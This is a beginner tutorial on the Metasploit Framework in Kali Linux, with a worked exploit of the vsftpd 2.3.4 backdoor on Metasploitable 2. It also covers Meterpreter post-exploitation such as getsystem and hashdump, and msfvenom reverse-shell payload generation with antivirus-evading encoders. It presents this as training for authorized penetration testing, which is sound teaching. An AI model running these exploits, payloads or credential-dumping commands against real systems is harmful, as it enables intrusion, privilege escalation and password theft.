How to Use Metasploit: Beginner's Guide to the Metasploit Framework in Kali Linux
Learn how to use Metasploit in Kali Linux: start msfconsole, search modules, run your first lab exploit, and master Meterpreter with a cheat sheet.
What Is Metasploit?
Metasploit is an open-source penetration testing framework maintained by Rapid7. It was created by H.D. Moore in 2003 and is now the standard tool for testing whether a known vulnerability can actually be exploited. Instead of writing a separate program for every vulnerability, you work inside one framework that gives you the exploit code, the payloads that run after exploitation, and the post-exploitation tools — all driven from a single console.
The free edition is called the Metasploit Framework. It runs on Kali Linux (where it is pre-installed), macOS, and Windows, and it is the edition this guide covers. Rapid7 also sells a commercial edition, Metasploit Pro, which adds a graphical interface, reporting, and team features — but everything in this guide uses the free Framework, because that is what most learners and penetration testers use day to day.
Metasploit organizes everything into modules. There are more than 2,300 exploit modules alone, plus thousands of auxiliary, payload, encoder, and post-exploitation modules. You search for the module that matches the vulnerability you found, configure its options, and run it. If the target is vulnerable, the module opens a session — usually a Meterpreter session — that lets you explore the system, gather evidence, and prove the impact of the vulnerability.
Use Metasploit only against systems you own or systems you have written authorization to test. A lab virtual machine such as Metasploitable 2 exists exactly for this: it is intentionally vulnerable, so you can practice every step in this guide safely and legally.
Why You Need Metasploit
You need to test whether a known vulnerability can be exploited against a target system — Metasploit provides the framework, exploits, payloads, and post-exploitation modules in one platform. It standardizes how exploits work, letting you focus on the target rather than building tools from scratch.
Prerequisites
How to Use Metasploit in 6 Steps
This is the workflow you will repeat for almost every Metasploit task. Learn it once and every exploit follows the same shape.
Step 1: Start the database and the console
Metasploit stores scan results in a PostgreSQL database. Start the database service, initialize it the first time you use it, then launch the console:
sudo systemctl start postgresql
msfdb init
msfconsole
The msfdb init step only runs once — it creates the database user and the database. After that, starting PostgreSQL and running msfconsole is enough. When the console loads you will see the msf6 > prompt and a banner with the module counts.
Step 2: Find a vulnerability first
Metasploit does not find vulnerabilities for you. You start from a vulnerability you already know about — from a scan with Nmap, from a vulnerability scanner, or from a lab target you know is vulnerable. If you need to scan from inside Metasploit, run Nmap through the database so the results are stored:
msf6 > db_nmap -sV 192.168.1.100
Check what the scan found with hosts and services. The open ports and service versions tell you which exploit modules to look for.
Step 3: Search for a module
Search by service name, CVE number, or keyword. These are the searches you will use most:
msf6 > search vsftpd
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017 name:eternalblue
The results list module paths, a short description, and a rank. The rank (Excellent, Great, Good, Normal, Average, Low, Manual) tells you how reliable the exploit is expected to be. Prefer Excellent and Great modules while you are learning.
Step 4: Select the module and read its information
Load a module with use, then read what it needs before you run it:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
The info output shows the module description, the vulnerability it targets, its references, and its targets. The show options output lists every option the module needs and which ones are required — typically RHOSTS (the target) and sometimes RPORT (the port).
Step 5: Set the options and the payload
Set the target address and choose a payload. show payloads lists the payloads that work with the selected exploit:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
For a reverse shell payload you also set LHOST (your Kali machine's address, the one the target can reach) and LPORT (the port your machine listens on). For a bind payload the target listens instead. Check your settings with show options before you run anything — most failed exploits are a wrong RHOSTS, a wrong LHOST, or a payload built for the wrong architecture.
Step 6: Run the exploit and handle the session
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
If the target is vulnerable, Metasploit opens a session. For a command payload you land straight in a shell; for a Meterpreter payload you land in a Meterpreter session. From there you gather evidence — who you are, what the system is, what data is reachable — and then you document it. When you are done, type exit in the session or background to keep the session and return to the console. List open sessions any time with sessions -l and return to one with sessions -i 1.
Metasploit Architecture
Metasploit is built from six module types. Each type does one job, and an exploit chains them together.
| Module type | What it does | Example |
|---|---|---|
| Exploit | Takes advantage of a specific vulnerability | exploit/unix/ftp/vsftpd_234_backdoor |
| Payload | Code that runs on the target after exploitation | windows/meterpreter/reverse_tcp |
| Auxiliary | Scanning, fuzzing, and information gathering (no exploit) | auxiliary/scanner/portscan/tcp |
| Encoder | Transforms a payload to evade signature-based detection | x86/shikata_ga_nai |
| Post | Post-exploitation tasks on an open session | post/linux/gather/enum_users |
| NOP | Keeps payload sizes aligned so the exploit lands correctly | x86/opty2 |
Newer Metasploit versions also add evasion modules, which generate payloads designed to avoid antivirus detection. The console that ties all of this together is msfconsole. Behind it sits the PostgreSQL database (started with msfdb init), which stores hosts, services, credentials, and loot so your findings survive between sessions. Payloads are generated by msfvenom, a standalone tool covered later in this guide.
Exploit: Module that takes advantage of a vulnerability.
Payload: Code that runs on the target after exploitation.
Auxiliary: Modules for scanning, fuzzing, and information gathering.
Encoder: Transforms payloads to evade detection.
Post: Modules for post-exploitation activities.
Installation
Metasploit comes pre-installed on Kali Linux, so on Kali you can skip straight to starting it. On Debian-based systems without it, install the framework package:
sudo apt update
sudo apt install metasploit-framework
After installation, initialize the database once before your first run:
sudo systemctl start postgresql
msfdb init
If msfdb init reports that the database already exists, it was already set up and you can move on. Keep Metasploit updated with sudo apt update && sudo apt upgrade metasploit-framework on Kali, or msfupdate on installations that support it — new exploit modules are added every week, and an outdated framework misses the modules for newer vulnerabilities.
Starting Metasploit
Start the database service first, then launch the console:
sudo systemctl start postgresql
msfconsole
The first launch takes longer than later ones because Metasploit loads its module database. Once the msf6 > prompt appears, check that the database is connected:
msf6 > db_status
You should see a message that you are connected to the database. If it says you are not connected, run msfdb init (or msfdb reinit if the database is broken) and restart the console. Without the database, db_nmap, hosts, services, and vulns will not work, and your scan results will not be saved.
Basic msfconsole Commands
These are the commands you will use in almost every session. Learn them in this order and the rest of the framework follows naturally.
help # Show available commands
search apache # Search for modules
use exploit/multi/handler # Select a module
show options # Show module configuration
show payloads # List compatible payloads
set RHOSTS 192.168.1.100 # Set a target
set LHOST 10.0.0.5 # Set your IP
run # Execute the module
sessions -l # List active sessions
sessions -i 1 # Interact with session 1
A few more you will reach for constantly: back leaves the current module and returns to the main prompt; info shows the selected module's description, options, and references; check tests whether the target is vulnerable without exploiting it; show targets lists the target systems a module supports and set TARGET 0 picks one; unset RHOSTS clears a single option, while setg LHOST 10.0.0.5 sets a value globally so every module you load afterwards inherits it. Type exit to leave the console.
Exploitation Workflow
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.100
msf6 > run
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD cmd/unix/interact
msf6 > run
Worked Example: Your First Lab Exploit with Metasploitable 2
This example runs the complete 6-step workflow against Metasploitable 2, an intentionally vulnerable Ubuntu virtual machine built for training. Run it only in your own lab, on a host-only or isolated virtual network. Metasploitable 2's default login is msfadmin / msfadmin — those are the lab's public training credentials, and you should change them if you ever expose the VM outside your lab.
Step 1 — Start Metasploit and confirm the database.
sudo systemctl start postgresql
msfconsole
msf6 > db_status
Step 2 — Find the vulnerable service. Scan the lab target and look at what is listening. Port 21 is open and the banner reports vsFTPd 2.3.4, a version with a known backdoor:
msf6 > db_nmap -sV 192.168.1.100
msf6 > services
Sample output (illustrative):
192.168.1.100 21/tcp open ftp vsFTPd 2.3.4
192.168.1.100 22/tcp open ssh OpenSSH 4.7p1
192.168.1.100 80/tcp open http Apache 2.2.8
Step 3 — Search for the matching module.
msf6 > search vsftpd
The search returns exploit/unix/ftp/vsftpd_234_backdoor, ranked Excellent. That rank means the exploit is reliable and safe to use in a lab.
Step 4 — Load the module and read its options.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
The info output confirms the module targets the backdoor in vsFTPd 2.3.4. The options show RHOSTS as required and RPORT defaulting to 21.
Step 5 — Set the target and the payload.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Double-check the options: RHOSTS is your lab target, RPORT is 21, and the payload is the Unix command shell. Nothing here points at a real system.
Step 6 — Run the exploit and prove the result.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
Sample output (illustrative):
[*] 192.168.1.100:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.100:21 - USER: 331 Please specify the password.
[*] Found the port, sending backdoor command...
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:21)
You now have a command shell on the lab target. Prove what you have, the way a penetration tester would:
id
uname -a
pwd
Sample output (illustrative):
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server
/
The shell runs as root, which is the evidence that the vulnerability is real and critical: anyone who can reach the FTP service can take over the machine. In a real report you would record the module used, the commands run, and this output, then recommend upgrading vsFTPd and removing the backdoored version.
Finish the session cleanly:
exit
msf6 > sessions -l
If you want to keep the session for later, type background inside the session instead of exit, then return to it with sessions -i 1.
Meterpreter Basics
Meterpreter is the payload you will use most. It runs entirely in memory on the target, gives you a rich command set, and lets you move between the target and your console without dropping a new shell each time. When an exploit offers a Meterpreter payload, choose it over a plain shell.
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > getsystem
meterpreter > hashdump
meterpreter > shell
The commands you will use most, and what each one does:
sysinfo — shows the target's operating system, computer name, and architecture. Run this first in every session.getuid — shows who you are on the target (NT AUTHORITY\SYSTEM on Windows, uid=0(root) on Linux).ps — lists running processes. You need a process list before you can migrate into a stable process.migrate <pid> — moves your Meterpreter session into another process so it survives if the original process dies.getsystem — attempts privilege escalation to SYSTEM on Windows using named pipe impersonation or token duplication.hashdump — dumps password hashes from the target so you can crack them offline with a tool like Hashcat.download <file> and upload <file> — move files between your machine and the target.shell — drops you into a normal command shell on the target. Type exit to return to Meterpreter.background — puts the session in the background and returns you to the msf6 > prompt. Get it back with sessions -i <id>.portfwd add -l 8080 -p 80 -r 192.168.1.100 — forwards a port on the target through your session so you can reach services that are not directly exposed.If a plain shell session is open and you want Meterpreter instead, upgrade it from the console with sessions -u 1 — Metasploit injects a Meterpreter payload into the existing session.
Payloads: Staged vs Stageless and msfvenom
Every exploit needs a payload, and the two decisions that matter are staged versus stageless, and which payload type to use.
| Staged payload | Stageless payload | |
|---|---|---|
| How it works | Sends a small loader, then downloads the full payload over a second connection | Contains the entire payload in one piece |
| Example | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
| Size | Small — fits where space is tight | Larger |
| Reliability | Needs the second connection to succeed | Works with a single connection |
| Detection | The small first stage can slip past size-based checks | Easier for a scanner to fingerprint |
For a reverse shell the target connects back to you, which bypasses inbound firewall rules on the target. For a bind shell the target listens on a port you connect to, which most firewalls and NAT setups block — so reverse shells are the default choice in practice.
msfvenom is Metasploit's standalone payload generator. It builds a payload as a file you can deliver to a lab target — for example, a test executable for a malware-analysis lab, or a payload for a handler you run yourself:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf
The flags: -p picks the payload, LHOST/LPORT are the address and port the payload connects back to, -f sets the output format, and -e x86/shikata_ga_nai adds an encoder to change the payload's signature. The payload must match the target's architecture and operating system — a Windows exe will not run on Linux, and a 64-bit payload will not run on a 32-bit target.
To catch the connection your generated payload makes, start a handler in Metasploit before you run the payload:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
When the lab target runs the payload, the handler opens a Meterpreter session. Generate payloads only for systems you own or have authorization to test, and keep generated test files inside your lab.
Using the Metasploit Database
The database turns Metasploit from a console into a workspace. Every host you scan, every service you find, and every credential you recover is stored and searchable across sessions.
msf6 > db_nmap -sV 192.168.1.100
msf6 > hosts
msf6 > services
msf6 > vulns
msf6 > notes
msf6 > loot
hosts lists every target the database knows about, with its operating system guess.services lists every open port and service version found, per host.vulns lists vulnerabilities matched to hosts from your scans and imports.notes shows the notes Metasploit and its modules attach to hosts and services.loot lists files and data collected from targets, such as downloaded hashes.Workspaces keep engagements separate. Start a new workspace for each lab or client so one project's hosts never mix with another's:
msf6 > workspace -a lab-vsftpd
msf6 > workspace
msf6 > workspace -d old-project
Manage the database itself from your shell with msfdb status (is it running?), msfdb init (first-time setup), msfdb reinit (rebuild a broken database), and msfdb delete (remove it entirely). If db_status inside the console says you are not connected, the database service is the first thing to check.
Metasploit Commands Cheat Sheet
Keep this table open while you practice. It covers the commands from this guide plus the ones you will reach for next.
| Command | What it does |
|---|---|
msfconsole | Start the Metasploit console |
help | Show available commands |
search <term> | Search for modules by name, CVE, or keyword |
search type:exploit platform:windows | Search filtered by module type and platform |
use <module> | Select a module |
back | Leave the current module |
info | Show the selected module's description, options, and references |
show options | Show the selected module's configuration |
show advanced options | Show hidden and advanced options |
show payloads | List payloads compatible with the selected exploit |
show targets | List target systems the module supports |
show exploits / show auxiliary | List all exploit or auxiliary modules |
set <OPTION> <value> | Set one option for the current module |
setg <OPTION> <value> | Set an option globally for all modules |
unset <OPTION> | Clear one option |
check | Test whether the target is vulnerable without exploiting it |
run / exploit | Execute the selected module |
sessions -l | List open sessions |
sessions -i <id> | Interact with a session |
sessions -u <id> | Upgrade a shell session to Meterpreter |
sessions -k <id> | Kill a session |
db_nmap <args> | Run Nmap and store results in the database |
hosts / services / vulns | Show stored hosts, services, and vulnerabilities |
workspace -a <name> | Create a new workspace |
jobs -l | List background jobs |
load <plugin> | Load a Metasploit plugin |
exit | Leave the console |
Troubleshooting Metasploit Problems
Most Metasploit failures have one of a handful of causes. Work through this table before you assume the exploit itself is broken.
| Problem | Likely cause | Fix |
|---|---|---|
db_status says not connected | PostgreSQL is not running or the database was never initialized | sudo systemctl start postgresql, then msfdb init (or msfdb reinit) and restart the console |
msfconsole is very slow to start the first time | The module database is being built | Wait for it — the first launch is always the slowest; later launches are fast |
| "Exploit completed, but no session was created" | Wrong payload or architecture, target not actually vulnerable, or a firewall blocked the connection | Run check first, confirm the target version with show options, match the payload architecture, and confirm LHOST is reachable from the target |
| The exploit runs but nothing happens | The module's target setting does not match the target system | Run show targets, pick the right one with set TARGET <number>, and re-run |
LHOST connection never arrives | Your Kali address is behind NAT or the target cannot route back to it | Set LHOST to the Kali address on the same network as the target; on NAT, use port forwarding or a bridged network |
"Module not found" when you use a module | Typo in the path, or your framework is out of date | Copy the exact path from search, and update with sudo apt update && sudo apt upgrade metasploit-framework |
| Meterpreter session dies immediately | The payload process was killed, or you migrated into an unstable process | Use migrate into a long-lived process such as explorer.exe on Windows, or re-run the exploit and background the session quickly |
msfvenom payload does nothing on the target | Wrong format, architecture, or platform for the target | Regenerate with the right -f format and payload for the target OS and architecture, and confirm the handler is listening before you run it |
Metasploit vs Nmap
Beginners often ask whether Metasploit replaces Nmap. It does not — the two tools do different jobs and are normally used together.
| Nmap | Metasploit | |
|---|---|---|
| Purpose | Network discovery and service scanning | Exploitation and post-exploitation |
| Main question it answers | What is running on this network? | Can this vulnerability be exploited, and what can I do afterwards? |
| Typical first command | nmap -sV 192.168.1.100 | msfconsole, then search |
| Output | Open ports, service versions, OS guesses | Sessions, shells, evidence of impact |
| Can it scan? | Yes — that is its job | Yes, through db_nmap and auxiliary scanners, but scanning is not its strength |
| Can it exploit? | No (beyond NSE scripts that check for vulnerabilities) | Yes — that is its job |
The normal workflow is: scan with Nmap, feed the results into Metasploit with db_nmap, search for exploit modules matching the vulnerable services, and exploit them. Metasploit's own port scanner (auxiliary/scanner/portscan/tcp) is useful for a quick check inside a session, but for a full scan Nmap is faster and more complete.
Common Mistakes
db_nmap, hosts, services, and every result you collected. Initialize it once with msfdb init and start PostgreSQL before the console.show payloads and match the payload to the target's platform and architecture.LHOST must be an address the target can actually route to — use a bridged network or port forwarding in your lab.info before you run a module, and run check when the module supports it. An exploit for the wrong version can crash the target service instead of opening a session.show options. Required options are marked in the output. Running a module with RHOSTS unset, or with the default LPORT clashing with another service, is the most common beginner failure.exit a Meterpreter session you lose it. Use background to keep it and sessions -i <id> to return to it.Best Practices
db_nmap so every scan is stored. Use workspaces to keep labs and engagements separate..rc file and run them with msfconsole -r setup.rc — one command reproduces your whole lab setup.windows/meterpreter/reverse_tcp when space is tight, and stageless payloads when you need a single reliable connection.info, check its rank, run check when available, and confirm the target version matches. A verified exploit is evidence; a blind one is a crash risk.loot give you the raw material.Keep Learning
Summary
Metasploit is the most comprehensive exploitation framework available. Learning how to use Metasploit means learning one repeatable workflow: start the console, find a vulnerability, search for the matching module, set its options and payload, run it, and work the session that opens. Its payloads include the reverse-shell callbacks explained in our Reverse Shell Guide, and Meterpreter gives you the post-exploitation commands to prove the impact of what you found. Practice every step in your own lab — Metasploitable 2 is built for exactly that — and never point Metasploit at a system you do not own or have written permission to test.
Knowledge Check
getsystem command do?msfvenom do, and how is it different from msfconsole?Answers: 1. Staged payloads send a small loader that downloads the full payload over a second connection, while stageless payloads contain the entire payload in one piece. 2. The getsystem command attempts privilege escalation to SYSTEM on Windows using named pipe impersonation or token duplication. 3. The database stores hosts, services, vulnerabilities, and loot across sessions, so scan results are saved and searchable instead of lost when the console closes. 4. An encoder transforms a payload to evade signature-based detection by antivirus and IDS/IPS. 5. Use the search command with keywords, and filter by type, platform, or CVE — for example, search type:exploit platform:windows smb. 6. Start the database and console, find a vulnerability, search for a module, select it and read its info, set the options and payload, then run it and handle the session. 7. The module is exploit/unix/ftp/vsftpd_234_backdoor with the cmd/unix/interact payload. 8. msfvenom is a standalone payload generator that builds payload files, while msfconsole is the interactive console for running modules and managing sessions.
References
Frequently Asked Questions
Continue Learning
How to Use Dirb: Beginner's Guide to Directory Brute-Forcing in Kali Linux
Learn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.
Tools · BeginnerHow to Use FFUF: Beginner's Guide to Fast Web Fuzzing in Kali Linux
Learn how to use FFUF in Kali Linux — directory, subdomain and vhost fuzzing, parameter testing, filters and a worked DVWA example, with a cheat sheet.
Tools · BeginnerHow to Use Gobuster: Beginner's Guide to Directory, DNS & VHost Enumeration in Kali Linux
Learn how to use Gobuster in Kali Linux — dir, DNS and vhost modes, wordlists, and a worked DVWA example, with a cheat sheet and troubleshooting.
Tools · BeginnerHow to Use Netcat: Beginner's Guide to the nc Command in Kali Linux
How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.
Related Security Tools
Nmap
Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.
Web ApplicationBurp Suite
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
ExploitationMetasploit Framework
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
ExploitationMSFVenom
MSFVenom is a standalone payload generator and encoder utility within the Metasploit Framework, first introduced in Metasploit 4.0 (2015) to replace the legacy msfpayload and msfencode tools with a single unified interface. It enables security professionals, penetration testers, and students to create, customize, and encode payloads for multiple platforms including Windows, Linux, macOS, Android, and PHP. MSFVenom is widely used in CTF competitions, security training labs, authorized penetration testing engagements, and red team operations to generate reverse shells, Meterpreter payloads, shellcode, and encoded executables. Understanding MSFVenom helps both offensive and defensive security professionals learn payload construction techniques, encoding methods, and detection strategies used in modern cybersecurity.